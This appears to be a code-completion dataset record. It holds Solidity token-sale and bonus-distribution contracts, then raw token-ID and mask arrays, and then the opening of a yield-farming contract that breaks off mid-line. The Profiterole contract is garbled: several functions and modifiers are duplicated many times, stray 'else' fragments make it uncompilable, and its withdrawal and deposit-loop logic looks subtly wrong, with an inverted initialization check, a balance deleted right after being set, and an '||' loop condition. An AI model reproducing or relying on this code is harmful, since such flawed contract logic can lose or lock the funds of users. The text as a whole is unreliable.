Sale state function init() public onlyContractOwner onlyInit returns (uint) { needInitialization = false; bytes32 _symbol = Token(token).smbl(); if (OK != Platform(Token(token).platform()).reissueAsset(_symbol, tokenSoftcap)) { revert(); } return OK; } /// @notice Gets absolute hardcap value which means it will be greater than softcap value. /// Actual value will be equal to `tokenSoftcap - tokenHardcap` function tokenHardcap() public view returns (uint) { return tokenSoftcap + tokenHardcapValue; } /// @notice Gets absolute issued hardcap volume which means it will be greater than softcap value. /// Actual value will be equal to `tokenSoftcap - tokenHardcapIssued` function tokenHardcapIssued() public view returns (uint) { return tokenSoftcap + tokenHardcapIssuedValue; } /// @notice Gets current state of Emission Provider. State changes over time or reaching buyback goals. /// @return state of a Emission Provider. 'Init', 'Waiting', 'Sale', 'HardcapReached', 'Destructed` values are possible function getState() public view returns (State, State) { if (needInitialization) { return (State.Init, State.Init); } if (destructed) { return (State.Destructed, State.Destructed); } if (now < startDate) { return (State.Waiting, State.Waiting); } State _hardcapState = (finishedHardcap || (tokenHardcapIssuedValue == tokenHardcapValue) || (now > endDate)) ? State.Reached : State.Sale; State _softcapState = (tokenSoftcapIssued == tokenSoftcap) ? State.Reached : State.Sale; return (_hardcapState, _softcapState); } /// @notice Add users to whitelist. /// @param _whitelist user list. function addUsers(address[] _whitelist) public onlyOracleOrOwner onlySale returns (uint) { for (uint _idx = 0; _idx < _whitelist.length; ++_idx) { whitelist[_whitelist[_idx]] = true; } return OK; } /// @notice Removes users from whitelist. /// @param _blacklist user in whitelist. function removeUsers(address[] _blacklist) public onlyOracleOrOwner onlySale returns (uint) { for (uint _idx = 0; _idx < _blacklist.length; ++_idx) { delete whitelist[_blacklist[_idx]]; } return OK; } /// @notice Issue tokens for user. /// Access allowed only for oracle while the sale period is active. /// /// @param _token address for token. /// @param _for user address. /// @param _value token amount, function issueHardcapToken( address _token, address _for, uint _value ) onlyOracle onlyAllowed(_for) onlySale notHardcapReached public returns (uint) { require(_token == token); require(_value != 0); uint _tokenHardcap = tokenHardcapValue; uint _issued = tokenHardcapIssuedValue; if (_issued.add(_value) > _tokenHardcap) { _value = _tokenHardcap.sub(_issued); } tokenHardcapIssuedValue = _issued.add(_value); bytes32 _symbol = Token(_token).smbl(); if (OK != Platform(Token(_token).platform()).reissueAsset(_symbol, _value)) { revert(); } if (!Token(_token).transfer(_for, _value)) { revert(); } _emitEmission(_symbol, _for, _value); return OK; } /// @notice Issue tokens for user. /// Access allowed only for oracle while the sale period is active. /// /// @param _token address for token. /// @param _for user address. /// @param _value token amount, function issueSoftcapToken( address _token, address _for, uint _value ) onlyOracle onlyAllowed(_for) onlySale notSoftcapReached public returns (uint) { require(_token == token); require(_value != 0); uint _tokenSoftcap = tokenSoftcap; uint _issued = tokenSoftcapIssued; if (_issued.add(_value) > _tokenSoftcap) { _value = _tokenSoftcap.sub(_issued); } tokenSoftcapIssued = _issued.add(_value); if (!Token(_token).transfer(_for, _value)) { revert(); } _emitEmission(Token(_token).smbl(), _for, _value); return OK; } /// @notice Performs finish hardcap manually /// Only by contract owner and in sale period function finishHardcap() public onlyContractOwner onlySale notHardcapReached returns (uint) { finishedHardcap = true; _emitHardcapFinishedManually(); return OK; } /// @notice Performs distribution of sent BMC tokens and send them to Profiterole address /// Only by oracle address and after reaching hardcap conditions function distributeBonuses() public onlyOracleOrOwner onlySaleFinished notDestructed returns (uint) { ERC20Interface _token = ERC20Interface(bonusToken); uint _balance = _token.balanceOf(address(this)); if (_balance == 0) { return _emitError(EMISSION_PROVIDER_ERROR_INSUFFICIENT_BMC); } Profiterole _profiterole = Profiterole(profiterole); if (!_token.approve(address(_profiterole), _balance)) { return _emitError(EMISSION_PROVIDER_ERROR_INTERNAL); } if (OK != _profiterole.distributeBonuses(_balance)) { revert(); } return OK; } /// @notice Activates distruction. /// Access allowed only by contract owner after distruction function activateDestruction() public onlyContractOwner onlySaleFinished notDestructed returns (uint) { destructed = true; _emitDestruction(); return OK; } /* ServiceAllowance */ /// @notice Restricts transfers only for: /// 1) oracle and only ATx tokens; /// 2) from itself to holder function isTransferAllowed(address _from, address _to, address, address _token, uint) public view returns (bool) { if (_token == token && ((oracles[_from] && _to == address(this)) || (_from == address(this) && whitelist[_to])) ) { return true; } } function tokenFallback(address _sender, uint, bytes) external { require(msg.sender == Token(token).getLatestVersion()); require(oracles[_sender]); } }
@title Profiterole contract Collector and distributor for creation and redemption fees. Accepts bonus tokens from EmissionProvider, BurningMan or other distribution source. Calculates CCs shares in bonuses. Uses Treasury Contract as source of shares in bmc-days. Allows to withdraw bonuses on request.
contract Profiterole is OracleContractAdapter, ServiceAllowance, ProfiteroleEmitter { uint constant PERCENT_PRECISION = 10000; uint constant PROFITEROLE_ERROR_SCOPE = 102000; uint constant PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE = PROFITEROLE_ERROR_SCOPE + 1; uint constant PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE = PROFITEROLE_ERROR_SCOPE + 2; uint constant PROFITEROLE_ERROR_TRANSFER_ERROR = PROFITEROLE_ERROR_SCOPE + 3; using SafeMath for uint; struct Balance { uint left; bool initialized; } struct Deposit { uint balance; uint left; uint nextDepositDate; mapping(bytes32 => Balance) leftToWithdraw; } struct UserBalance { uint lastWithdrawDate; } mapping(address => bool) distributionSourcesList; mapping(bytes32 => UserBalance) bonusBalances; mapping(uint => Deposit) public distributionDeposits; uint public firstDepositDate; uint public lastDepositDate; address public bonusToken; address public treasury; address public wallet; modifier onlyDistributionSource { if (!distributionSourcesList[msg.sender]) { revert(); } _; } modifier onlyDistributionSource { if (!distributionSourcesList[msg.sender]) { revert(); } _; } function Profiterole(address _bonusToken, address _treasury, address _wallet) public { require(_bonusToken != 0x0); require(_treasury != 0x0); require(_wallet != 0x0); bonusToken = _bonusToken; treasury = _treasury; wallet = _wallet; } function() payable public { revert(); } function updateTreasury(address _treasury) external onlyContractOwner returns (uint) { require(_treasury != 0x0); treasury = _treasury; return OK; } function updateWallet(address _wallet) external onlyContractOwner returns (uint) { require(_wallet != 0x0); wallet = _wallet; return OK; } function addDistributionSources(address[] _whitelist) external onlyContractOwner returns (uint) { for (uint _idx = 0; _idx < _whitelist.length; ++_idx) { distributionSourcesList[_whitelist[_idx]] = true; } return OK; } function addDistributionSources(address[] _whitelist) external onlyContractOwner returns (uint) { for (uint _idx = 0; _idx < _whitelist.length; ++_idx) { distributionSourcesList[_whitelist[_idx]] = true; } return OK; } function removeDistributionSources(address[] _blacklist) external onlyContractOwner returns (uint) { for (uint _idx = 0; _idx < _blacklist.length; ++_idx) { delete distributionSourcesList[_blacklist[_idx]]; } return OK; } function removeDistributionSources(address[] _blacklist) external onlyContractOwner returns (uint) { for (uint _idx = 0; _idx < _blacklist.length; ++_idx) { delete distributionSourcesList[_blacklist[_idx]]; } return OK; } function withdrawBonuses(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); require(_withdrawAddress != 0x0); DepositWalletInterface _wallet = DepositWalletInterface(wallet); ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.balanceOf(_wallet) < _value) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE); } if (OK != _withdrawBonuses(_userKey, _value)) { revert(); } if (!(_feeAddress == 0x0 || _feeAmount == 0 || OK == _wallet.withdraw(_bonusToken, _feeAddress, _feeAmount))) { revert(); } if (OK != _wallet.withdraw(_bonusToken, _withdrawAddress, _value - _feeAmount)) { revert(); } BonusesWithdrawn(_userKey, _value, now); return OK; } function withdrawBonuses(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); require(_withdrawAddress != 0x0); DepositWalletInterface _wallet = DepositWalletInterface(wallet); ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.balanceOf(_wallet) < _value) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE); } if (OK != _withdrawBonuses(_userKey, _value)) { revert(); } if (!(_feeAddress == 0x0 || _feeAmount == 0 || OK == _wallet.withdraw(_bonusToken, _feeAddress, _feeAmount))) { revert(); } if (OK != _wallet.withdraw(_bonusToken, _withdrawAddress, _value - _feeAmount)) { revert(); } BonusesWithdrawn(_userKey, _value, now); return OK; } function withdrawBonuses(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); require(_withdrawAddress != 0x0); DepositWalletInterface _wallet = DepositWalletInterface(wallet); ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.balanceOf(_wallet) < _value) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE); } if (OK != _withdrawBonuses(_userKey, _value)) { revert(); } if (!(_feeAddress == 0x0 || _feeAmount == 0 || OK == _wallet.withdraw(_bonusToken, _feeAddress, _feeAmount))) { revert(); } if (OK != _wallet.withdraw(_bonusToken, _withdrawAddress, _value - _feeAmount)) { revert(); } BonusesWithdrawn(_userKey, _value, now); return OK; } function withdrawBonuses(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); require(_withdrawAddress != 0x0); DepositWalletInterface _wallet = DepositWalletInterface(wallet); ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.balanceOf(_wallet) < _value) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE); } if (OK != _withdrawBonuses(_userKey, _value)) { revert(); } if (!(_feeAddress == 0x0 || _feeAmount == 0 || OK == _wallet.withdraw(_bonusToken, _feeAddress, _feeAmount))) { revert(); } if (OK != _wallet.withdraw(_bonusToken, _withdrawAddress, _value - _feeAmount)) { revert(); } BonusesWithdrawn(_userKey, _value, now); return OK; } function withdrawBonuses(bytes32 _userKey, uint _value, address _withdrawAddress, uint _feeAmount, address _feeAddress) external onlyOracle returns (uint) { require(_userKey != bytes32(0)); require(_value != 0); require(_feeAmount < _value); require(_withdrawAddress != 0x0); DepositWalletInterface _wallet = DepositWalletInterface(wallet); ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.balanceOf(_wallet) < _value) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_BONUS_BALANCE); } if (OK != _withdrawBonuses(_userKey, _value)) { revert(); } if (!(_feeAddress == 0x0 || _feeAmount == 0 || OK == _wallet.withdraw(_bonusToken, _feeAddress, _feeAmount))) { revert(); } if (OK != _wallet.withdraw(_bonusToken, _withdrawAddress, _value - _feeAmount)) { revert(); } BonusesWithdrawn(_userKey, _value, now); return OK; } function getTotalBonusesAmountAvailable(bytes32 _userKey) public view returns (uint _sum) { uint _startDate = _getCalculationStartDate(_userKey); Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { Deposit storage _pendingDeposit = distributionDeposits[_startDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; if (_userBalance.initialized) { _sum = _sum.add(_userBalance.left); uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _startDate); _sum = _sum.add(_pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION)); } } } function getTotalBonusesAmountAvailable(bytes32 _userKey) public view returns (uint _sum) { uint _startDate = _getCalculationStartDate(_userKey); Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { Deposit storage _pendingDeposit = distributionDeposits[_startDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; if (_userBalance.initialized) { _sum = _sum.add(_userBalance.left); uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _startDate); _sum = _sum.add(_pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION)); } } } function getTotalBonusesAmountAvailable(bytes32 _userKey) public view returns (uint _sum) { uint _startDate = _getCalculationStartDate(_userKey); Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { Deposit storage _pendingDeposit = distributionDeposits[_startDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; if (_userBalance.initialized) { _sum = _sum.add(_userBalance.left); uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _startDate); _sum = _sum.add(_pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION)); } } } } else { function getBonusesAmountAvailable(bytes32 _userKey, uint _distributionDate) public view returns (uint) { Deposit storage _deposit = distributionDeposits[_distributionDate]; if (_deposit.leftToWithdraw[_userKey].initialized) { return _deposit.leftToWithdraw[_userKey].left; } uint _sharesPercent = Treasury(treasury).getSharesPercentForPeriod(_userKey, _distributionDate); return _deposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION); } function getBonusesAmountAvailable(bytes32 _userKey, uint _distributionDate) public view returns (uint) { Deposit storage _deposit = distributionDeposits[_distributionDate]; if (_deposit.leftToWithdraw[_userKey].initialized) { return _deposit.leftToWithdraw[_userKey].left; } uint _sharesPercent = Treasury(treasury).getSharesPercentForPeriod(_userKey, _distributionDate); return _deposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION); } function getTotalDepositsAmountLeft() public view returns (uint _amount) { uint _lastDepositDate = lastDepositDate; for ( uint _startDate = firstDepositDate; _startDate <= _lastDepositDate || _startDate != 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { _amount = _amount.add(distributionDeposits[_startDate].left); } } function getTotalDepositsAmountLeft() public view returns (uint _amount) { uint _lastDepositDate = lastDepositDate; for ( uint _startDate = firstDepositDate; _startDate <= _lastDepositDate || _startDate != 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { _amount = _amount.add(distributionDeposits[_startDate].left); } } function getDepositsAmountLeft(uint _distributionDate) public view returns (uint _amount) { return distributionDeposits[_distributionDate].left; } function distributeBonuses(uint _amount) public onlyDistributionSource returns (uint) { ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.allowance(msg.sender, address(this)) < _amount) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE); } if (!_bonusToken.transferFrom(msg.sender, wallet, _amount)) { return _emitError(PROFITEROLE_ERROR_TRANSFER_ERROR); } if (firstDepositDate == 0) { firstDepositDate = now; } uint _lastDepositDate = lastDepositDate; if (_lastDepositDate != 0) { distributionDeposits[_lastDepositDate].nextDepositDate = now; } lastDepositDate = now; distributionDeposits[now] = Deposit(_amount, _amount, 0); Treasury(treasury).addDistributionPeriod(); DepositPendingAdded(_amount, msg.sender, now); return OK; } function distributeBonuses(uint _amount) public onlyDistributionSource returns (uint) { ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.allowance(msg.sender, address(this)) < _amount) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE); } if (!_bonusToken.transferFrom(msg.sender, wallet, _amount)) { return _emitError(PROFITEROLE_ERROR_TRANSFER_ERROR); } if (firstDepositDate == 0) { firstDepositDate = now; } uint _lastDepositDate = lastDepositDate; if (_lastDepositDate != 0) { distributionDeposits[_lastDepositDate].nextDepositDate = now; } lastDepositDate = now; distributionDeposits[now] = Deposit(_amount, _amount, 0); Treasury(treasury).addDistributionPeriod(); DepositPendingAdded(_amount, msg.sender, now); return OK; } function distributeBonuses(uint _amount) public onlyDistributionSource returns (uint) { ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.allowance(msg.sender, address(this)) < _amount) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE); } if (!_bonusToken.transferFrom(msg.sender, wallet, _amount)) { return _emitError(PROFITEROLE_ERROR_TRANSFER_ERROR); } if (firstDepositDate == 0) { firstDepositDate = now; } uint _lastDepositDate = lastDepositDate; if (_lastDepositDate != 0) { distributionDeposits[_lastDepositDate].nextDepositDate = now; } lastDepositDate = now; distributionDeposits[now] = Deposit(_amount, _amount, 0); Treasury(treasury).addDistributionPeriod(); DepositPendingAdded(_amount, msg.sender, now); return OK; } function distributeBonuses(uint _amount) public onlyDistributionSource returns (uint) { ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.allowance(msg.sender, address(this)) < _amount) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE); } if (!_bonusToken.transferFrom(msg.sender, wallet, _amount)) { return _emitError(PROFITEROLE_ERROR_TRANSFER_ERROR); } if (firstDepositDate == 0) { firstDepositDate = now; } uint _lastDepositDate = lastDepositDate; if (_lastDepositDate != 0) { distributionDeposits[_lastDepositDate].nextDepositDate = now; } lastDepositDate = now; distributionDeposits[now] = Deposit(_amount, _amount, 0); Treasury(treasury).addDistributionPeriod(); DepositPendingAdded(_amount, msg.sender, now); return OK; } function distributeBonuses(uint _amount) public onlyDistributionSource returns (uint) { ERC20Interface _bonusToken = ERC20Interface(bonusToken); if (_bonusToken.allowance(msg.sender, address(this)) < _amount) { return _emitError(PROFITEROLE_ERROR_INSUFFICIENT_DISTRIBUTION_BALANCE); } if (!_bonusToken.transferFrom(msg.sender, wallet, _amount)) { return _emitError(PROFITEROLE_ERROR_TRANSFER_ERROR); } if (firstDepositDate == 0) { firstDepositDate = now; } uint _lastDepositDate = lastDepositDate; if (_lastDepositDate != 0) { distributionDeposits[_lastDepositDate].nextDepositDate = now; } lastDepositDate = now; distributionDeposits[now] = Deposit(_amount, _amount, 0); Treasury(treasury).addDistributionPeriod(); DepositPendingAdded(_amount, msg.sender, now); return OK; } function isTransferAllowed(address, address, address, address, uint) public view returns (bool) { return false; } function _getCalculationStartDate(bytes32 _userKey) private view returns (uint _startDate) { _startDate = bonusBalances[_userKey].lastWithdrawDate; return _startDate != 0 ? _startDate : firstDepositDate; } function _withdrawBonuses(bytes32 _userKey, uint _value) private returns (uint) { uint _startDate = _getCalculationStartDate(_userKey); uint _lastWithdrawDate = _startDate; Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0 && _value > 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { uint _balanceToWithdraw = _withdrawBonusesFromDeposit(_userKey, _startDate, _value, _treasury); _value = _value.sub(_balanceToWithdraw); } if (_lastWithdrawDate != _startDate) { bonusBalances[_userKey].lastWithdrawDate = _lastWithdrawDate; } if (_value > 0) { revert(); } return OK; } function _withdrawBonuses(bytes32 _userKey, uint _value) private returns (uint) { uint _startDate = _getCalculationStartDate(_userKey); uint _lastWithdrawDate = _startDate; Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0 && _value > 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { uint _balanceToWithdraw = _withdrawBonusesFromDeposit(_userKey, _startDate, _value, _treasury); _value = _value.sub(_balanceToWithdraw); } if (_lastWithdrawDate != _startDate) { bonusBalances[_userKey].lastWithdrawDate = _lastWithdrawDate; } if (_value > 0) { revert(); } return OK; } function _withdrawBonuses(bytes32 _userKey, uint _value) private returns (uint) { uint _startDate = _getCalculationStartDate(_userKey); uint _lastWithdrawDate = _startDate; Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0 && _value > 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { uint _balanceToWithdraw = _withdrawBonusesFromDeposit(_userKey, _startDate, _value, _treasury); _value = _value.sub(_balanceToWithdraw); } if (_lastWithdrawDate != _startDate) { bonusBalances[_userKey].lastWithdrawDate = _lastWithdrawDate; } if (_value > 0) { revert(); } return OK; } function _withdrawBonuses(bytes32 _userKey, uint _value) private returns (uint) { uint _startDate = _getCalculationStartDate(_userKey); uint _lastWithdrawDate = _startDate; Treasury _treasury = Treasury(treasury); for ( uint _endDate = lastDepositDate; _startDate <= _endDate && _startDate != 0 && _value > 0; _startDate = distributionDeposits[_startDate].nextDepositDate ) { uint _balanceToWithdraw = _withdrawBonusesFromDeposit(_userKey, _startDate, _value, _treasury); _value = _value.sub(_balanceToWithdraw); } if (_lastWithdrawDate != _startDate) { bonusBalances[_userKey].lastWithdrawDate = _lastWithdrawDate; } if (_value > 0) { revert(); } return OK; } function _withdrawBonusesFromDeposit(bytes32 _userKey, uint _periodDate, uint _value, Treasury _treasury) private returns (uint) { Deposit storage _pendingDeposit = distributionDeposits[_periodDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; uint _balanceToWithdraw; if (_userBalance.initialized) { _balanceToWithdraw = _userBalance.left; uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _periodDate); _balanceToWithdraw = _pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION); _userBalance.initialized = true; } if (_balanceToWithdraw > _value) { _userBalance.left = _balanceToWithdraw - _value; _balanceToWithdraw = _value; delete _userBalance.left; } _pendingDeposit.left = _pendingDeposit.left.sub(_balanceToWithdraw); return _balanceToWithdraw; } function _withdrawBonusesFromDeposit(bytes32 _userKey, uint _periodDate, uint _value, Treasury _treasury) private returns (uint) { Deposit storage _pendingDeposit = distributionDeposits[_periodDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; uint _balanceToWithdraw; if (_userBalance.initialized) { _balanceToWithdraw = _userBalance.left; uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _periodDate); _balanceToWithdraw = _pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION); _userBalance.initialized = true; } if (_balanceToWithdraw > _value) { _userBalance.left = _balanceToWithdraw - _value; _balanceToWithdraw = _value; delete _userBalance.left; } _pendingDeposit.left = _pendingDeposit.left.sub(_balanceToWithdraw); return _balanceToWithdraw; } } else { function _withdrawBonusesFromDeposit(bytes32 _userKey, uint _periodDate, uint _value, Treasury _treasury) private returns (uint) { Deposit storage _pendingDeposit = distributionDeposits[_periodDate]; Balance storage _userBalance = _pendingDeposit.leftToWithdraw[_userKey]; uint _balanceToWithdraw; if (_userBalance.initialized) { _balanceToWithdraw = _userBalance.left; uint _sharesPercent = _treasury.getSharesPercentForPeriod(_userKey, _periodDate); _balanceToWithdraw = _pendingDeposit.balance.mul(_sharesPercent).div(PERCENT_PRECISION); _userBalance.initialized = true; } if (_balanceToWithdraw > _value) { _userBalance.left = _balanceToWithdraw - _value; _balanceToWithdraw = _value; delete _userBalance.left; } _pendingDeposit.left = _pendingDeposit.left.sub(_balanceToWithdraw); return _balanceToWithdraw; } } else { }
5,477,489
[ 1, 27012, 2165, 790, 6835, 13844, 471, 1015, 19293, 364, 6710, 471, 283, 19117, 375, 1656, 281, 18, 27158, 324, 22889, 2430, 628, 512, 3951, 2249, 16, 605, 321, 310, 5669, 578, 1308, 7006, 1084, 18, 26128, 385, 14272, 24123, 316, 324, 265, 6117, 18, 14854, 399, 266, 345, 22498, 13456, 487, 1084, 434, 24123, 316, 324, 13952, 17, 9810, 18, 25619, 358, 598, 9446, 324, 265, 6117, 603, 590, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 1186, 74, 2165, 790, 353, 28544, 8924, 4216, 16, 1956, 7009, 1359, 16, 1186, 74, 2165, 790, 13476, 288, 203, 203, 565, 2254, 5381, 10950, 19666, 67, 3670, 26913, 273, 12619, 31, 203, 203, 565, 2254, 5381, 4629, 42, 11844, 51, 900, 67, 3589, 67, 19444, 273, 1728, 17172, 31, 203, 565, 2254, 5381, 4629, 42, 11844, 51, 900, 67, 3589, 67, 706, 6639, 42, 1653, 7266, 2222, 67, 31375, 67, 38, 1013, 4722, 273, 4629, 42, 11844, 51, 900, 67, 3589, 67, 19444, 397, 404, 31, 203, 565, 2254, 5381, 4629, 42, 11844, 51, 900, 67, 3589, 67, 706, 6639, 42, 1653, 7266, 2222, 67, 38, 673, 3378, 67, 38, 1013, 4722, 273, 4629, 42, 11844, 51, 900, 67, 3589, 67, 19444, 397, 576, 31, 203, 565, 2254, 5381, 4629, 42, 11844, 51, 900, 67, 3589, 67, 16596, 6553, 67, 3589, 273, 4629, 42, 11844, 51, 900, 67, 3589, 67, 19444, 397, 890, 31, 203, 203, 565, 1450, 14060, 10477, 364, 2254, 31, 203, 203, 565, 1958, 30918, 288, 203, 3639, 2254, 2002, 31, 203, 3639, 1426, 6454, 31, 203, 565, 289, 203, 203, 565, 1958, 4019, 538, 305, 288, 203, 3639, 2254, 11013, 31, 203, 3639, 2254, 2002, 31, 203, 3639, 2254, 1024, 758, 1724, 1626, 31, 203, 3639, 2874, 12, 3890, 1578, 516, 30918, 13, 2002, 774, 1190, 9446, 31, 203, 565, 289, 203, 203, 565, 1958, 2177, 13937, 288, 203, 3639, 2254, 1142, 1190, 9446, 1626, 31, 203, 565, 289, 203, 203, 565, 2874, 12, 2867, 516, 1426, 13, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "./CarveToken.sol"; import "./ChiGasSaver.sol"; interface IMigrator { // Perform LP token migration from legacy UniswapV2 to CarveSwap. // Take the current LP token address and return the new LP token address. // Migrator should have full access to the caller's LP token. // Return the new LP token address. // // XXX Migrator must have allowance access to UniswapV2 LP tokens. // CarveSwap must mint EXACTLY the same amount of CarveSwap LP tokens or // else something bad will happen. Traditional UniswapV2 does not // do that so be careful! function migrate(IERC20 token) external returns (IERC20); } // MasterCarver is the master of Carve. // // The ownership will be transferred to a governance smart contract once CARVE // is sufficiently distributed and the community can show to govern itself. // contract MasterCarver is Ownable, ReentrancyGuard, ChiGasSaver { using Address for address; using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of CARVE // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accCarvePerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accCarvePerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CARVE to distribute per block. uint256 lastRewardBlock; // Last block number that CARVE distribution occurs. uint256 accCarvePerShare; // Accumulated CARVE per share, times 1e12. See below. } // The CARVE TOKEN CarveToken public carve; // Dev address. address public treasuryAddress; // Reward updater address public rewardUpdater; // Staking reward pool address. address public rewardPoolAddress; // Reward pool fee uint256 public rewardPoolFee; // CARVE tokens created per block. uint256 public carvePerBlock; // Percentage referrers get when farmer claims uint256 public referralCommissionPercent = 10; // 1% // The migrator contract. It has a lot of power. Can only be set through governance (owner). IMigrator public migrator; // Info of each pool. PoolInfo[] public poolInfo; // Keep track of which pools exist already mapping (address => bool) public poolMap; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Map of farmer to referrer mapping (address => address) public referralMap; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint; // The block number when CARVE mining starts. uint256 public startBlock; // Control whether contracts can make deposits bool public acceptContractDepositor = false; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event Claimed(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); modifier onlyTreasury() { require(treasuryAddress == _msgSender(), "not treasury"); _; } modifier onlyRewardUpdater() { require(rewardUpdater 